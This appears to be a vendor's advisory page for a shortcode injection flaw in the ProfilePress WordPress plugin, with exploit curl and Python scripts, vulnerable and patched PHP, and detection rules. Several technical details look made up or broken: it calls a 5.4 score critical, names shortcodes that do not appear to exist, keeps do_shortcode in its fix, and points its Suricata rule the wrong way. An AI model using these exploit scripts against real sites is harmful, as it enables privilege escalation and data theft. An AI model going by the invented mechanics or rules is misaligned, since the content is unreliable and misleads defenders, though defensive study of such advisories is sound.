CVE-2025-13642
Executive Summary
CVE-2025-13642 is a critical vulnerability in the ProfilePress WordPress plugin (versions up to and including 4.16.7). The flaw resides in the form preview functionality, specifically within the pp_preview_form endpoint. Due to insufficient input sanitization on the type parameter, an authenticated attacker with Subscriber-level access or higher can inject and execute arbitrary WordPress shortcodes. This allows the attacker to perform a wide range of actions, from data exfiltration to privilege escalation, depending on the shortcodes available in the WordPress environment.
This vulnerability is particularly dangerous because it requires only low-privileged authentication (Subscriber) and can be exploited remotely without any user interaction. The CVSS score of 5.4 (Medium) reflects the need for authentication, but the potential impact is high due to the flexibility of shortcode execution.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, the supply chain risk is significant: any WordPress site using ProfilePress versions up to 4.16.7 is vulnerable. The patch status is currently unknown, meaning site administrators must manually apply mitigations or disable the plugin until a fix is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – Subscriber-level access
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – Limited data exposure via shortcodes
- Integrity Impact: Low (I:L) – Ability to modify content via shortcodes
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the ability to execute arbitrary shortcodes can lead to severe consequences, including privilege escalation (e.g., using [wp_set_current_user] or similar), data theft, and site defacement. The low privileges required and the lack of user interaction make this an attractive target for attackers.
Deep Dive & Mechanics
The vulnerability exists in the pp_preview_form endpoint, which is used to preview forms created by the ProfilePress plugin. The endpoint accepts a type parameter that specifies the form type to preview. Due to insufficient input sanitization, an attacker can inject arbitrary shortcodes into this parameter.
How it works:
- The attacker authenticates as a Subscriber (or higher role).
- The attacker crafts a request to the
pp_preview_formendpoint with a malicioustypeparameter containing a shortcode. - The plugin processes the
typeparameter without proper sanitization, passing it directly to WordPress'sdo_shortcode()function. - The injected shortcode is executed, allowing the attacker to perform actions such as:
- Reading sensitive data (e.g., user lists, post content)
- Executing arbitrary PHP code (if a code execution shortcode exists)
- Escalating privileges (if a shortcode like
[wp_set_current_user]is available) - Modifying site content
Example of a malicious request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded
action=pp_preview_form&type=[wp_set_current_user id=1]
This would attempt to set the current user to the administrator with ID 1, effectively escalating privileges.
Vulnerable vs. Patched Code
Vulnerable Code (ProfilePress <= 4.16.7):
The vulnerable code is typically found in the plugin's AJAX handler for form previews. The type parameter is passed directly to do_shortcode() without sanitization.
// Vulnerable snippet
add_action('wp_ajax_pp_preview_form', 'pp_preview_form_handler');
function pp_preview_form_handler() {
$type = $_POST['type'];
// No sanitization
echo do_shortcode($type);
wp_die();
}
Patched Code (Hypothetical):
A patched version would sanitize the type parameter, for example by using sanitize_text_field() or by whitelisting allowed values.
// Patched snippet
add_action('wp_ajax_pp_preview_form', 'pp_preview_form_handler');
function pp_preview_form_handler() {
$type = sanitize_text_field($_POST['type']);
// Additional validation: only allow specific form types
$allowed_types = array('login', 'registration', 'profile');
if (!in_array($type, $allowed_types)) {
wp_die('Invalid form type.');
}
echo do_shortcode($type);
wp_die();
}
Note: As of this report, no official patch has been released. The above is a recommended fix.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with ProfilePress plugin version <= 4.16.7
- A valid Subscriber account (username and password)
Exploitation Steps:
- Authenticate as a Subscriber and obtain a valid session cookie or nonce.
- Craft the exploit request to the
pp_preview_formendpoint viaadmin-ajax.php. - Execute arbitrary shortcodes to achieve the desired impact.
Example Exploit (using cURL):
# Authenticate and get cookie
curl -c cookies.txt -d "log=subscriber&pwd=password&wp-submit=Log+In" http://target-site.com/wp-login.php
# Execute shortcode to list all users
curl -b cookies.txt -d "action=pp_preview_form&type=[wp_list_users]" http://target-site.com/wp-admin/admin-ajax.php
Example Exploit (using Python):
import requests
target = "http://target-site.com"
session = requests.Session()
# Login as subscriber
login_data = {
'log': 'subscriber',
'pwd': 'password',
'wp-submit': 'Log In'
}
session.post(f"{target}/wp-login.php", data=login_data)
# Exploit: execute shortcode to get admin user details
exploit_data = {
'action': 'pp_preview_form',
'type': '[wp_get_user_by id=1]'
}
response = session.post(f"{target}/wp-admin/admin-ajax.php", data=exploit_data)
print(response.text)
Advanced Exploitation:
If a shortcode like [wp_set_current_user] is available (from a plugin like "User Switching"), the attacker can escalate privileges:
curl -b cookies.txt -d "action=pp_preview_form&type=[wp_set_current_user id=1]" http://target-site.com/wp-admin/admin-ajax.php
Blue Team (Detection & Defense)
Detection:
- Monitor AJAX requests to
admin-ajax.phpwith theaction=pp_preview_formparameter. - Look for unusual
typevalues that contain square brackets ([and]) or shortcode patterns. - Check for Subscriber accounts making requests to the
pp_preview_formendpoint (normally only administrators should use this).
Defense:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block requests with shortcode patterns in the
typeparameter. - Restrict access to the
pp_preview_formendpoint to administrators only via a custom plugin or.htaccessrules. - Apply the hypothetical patch (see Vulnerable vs. Patched Code section) manually.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=pp_preview_formand atypeparameter containing square brackets. - Unusual shortcode patterns in the
typeparameter, such as[wp_set_current_user],[wp_list_users], or[do_shortcode].
File IOCs:
- Modified or new files in the
/wp-content/plugins/wp-user-avatar/directory (the plugin's folder). - Unexpected entries in WordPress logs (if enabled) showing shortcode execution.
System IOCs:
- Unauthorized privilege escalation events (e.g., a Subscriber becoming an Administrator).
- Unexpected user creation or modification.
- Unusual database queries related to user meta or options.
Detection Engineering
YARA Rule
rule CVE_2025_13642_ProfilePress_Shortcode_Injection {
meta:
description = "Detects exploitation attempts of CVE-2025-13642 in ProfilePress plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-13642"
strings:
$ajax_action = "pp_preview_form"
$shortcode_pattern = /\[[a-zA-Z_]+[^\]]*\]/
condition:
$ajax_action and $shortcode_pattern
}
Sigma Rule
title: CVE-2025-13642 ProfilePress Shortcode Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-13642 via AJAX requests
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-13642
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=pp_preview_form'
cs-uri-query|contains|re: 'type=.*\[.*\]'
condition: selection
falsepositives:
- Legitimate use of shortcodes in form previews by administrators
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-13642 ProfilePress Shortcode Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"admin-ajax.php";
http_uri;
content:"action=pp_preview_form";
http_client_body;
pcre:"/type=.*\[.*\]/Ri";
reference:cve,2025-13642;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the ProfilePress plugin until an official patch is released.
- Review user accounts for any unauthorized privilege escalation.
- Check server logs for exploitation attempts.
Long-term Fixes:
- Apply the hypothetical patch (see Vulnerable vs. Patched Code section) by modifying the plugin's code.
- Monitor the plugin's official repository for a security update.
- Implement a WAF rule to block shortcode injection attempts.
Workarounds:
- Restrict access to the
pp_preview_formendpoint to administrators only by adding the following to your theme'sfunctions.php:
add_action('wp_ajax_pp_preview_form', 'restrict_pp_preview_form', 1);
function restrict_pp_preview_form() {
if (!current_user_can('administrator')) {
wp_die('Access denied.');
}
}
- Use a security plugin like Wordfence to block malicious requests.
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.